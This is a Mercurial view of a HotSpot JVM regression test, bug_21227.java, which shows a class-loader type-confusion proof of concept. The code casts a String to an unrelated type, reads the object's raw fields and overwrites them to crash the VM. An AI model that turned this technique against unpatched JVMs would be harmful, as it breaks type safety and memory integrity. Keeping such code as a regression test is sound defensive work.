Mercurial > hg > graal-compiler
view test/runtime/6626217/bug_21227.java @ 1835:4805b9f4779e
6941395: G1: Use only lock-free versions of region stack push() and pop()
Summary: Re-enable use of the lock-free versions of region stack push() and pop() by recording aborted regions in a thread-local structure, which are then processed when scanning of the region stack restarts. The previous locking versions of these routines are retained for diagnostic purposes.
Reviewed-by: tonyp, ysr
author | johnc |
---|---|
date | Tue, 28 Sep 2010 09:51:37 -0700 |
parents | 495caa35b1b5 |
children |
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import java.lang.reflect.*; import java.security.*; abstract public class bug_21227 { // Jam anything you want in here, it will be cast to a You_Have_Been_P0wned public static Object _p0wnee; public static void main(String argv[]) throws ClassNotFoundException, InstantiationException, IllegalAccessException { System.out.println("Warmup"); // Make a Class 'many_loader' under the default loader bug_21227 bug = new many_loader(); // Some classes under a new Loader, LOADER2, including another version of 'many_loader' ClassLoader LOADER2 = new Loader2(); Class clazz2 = LOADER2.loadClass("from_loader2"); IFace iface = (IFace)clazz2.newInstance(); // Set the victim, a String of length 6 String s = "victim"; _p0wnee = s; // Go cast '_p0wnee' to type You_Have_Been_P0wned many_loader[] x2 = bug.make(iface); many_loader b = x2[0]; // Make it clear that the runtime type many_loader (what we get from the // array X2) varies from the static type of many_loader. Class cl1 = b.getClass(); ClassLoader ld1 = cl1.getClassLoader(); Class cl2 = many_loader.class; ClassLoader ld2 = cl2.getClassLoader(); System.out.println("bug.make() "+ld1+":"+cl1); System.out.println("many_loader "+ld2+":"+cl2); // Read the victims guts out You_Have_Been_P0wned q = b._p0wnee; System.out.println("q._a = 0x"+Integer.toHexString(q._a)); System.out.println("q._b = 0x"+Integer.toHexString(q._b)); System.out.println("q._c = 0x"+Integer.toHexString(q._c)); System.out.println("q._d = 0x"+Integer.toHexString(q._d)); System.out.println("I will now crash the VM:"); // On 32-bit HotSpot Java6 this sets the victim String length shorter, then crashes the VM //q._c = 3; q._a = -1; System.out.println(s); } // I need to compile (hence call in a loop) a function which returns a value // loaded from classloader other than the system one. The point of this // call is to give me an abstract 'hook' into a function loaded with a // foreign loader. public abstract many_loader[] make( IFace iface ); // abstract factory }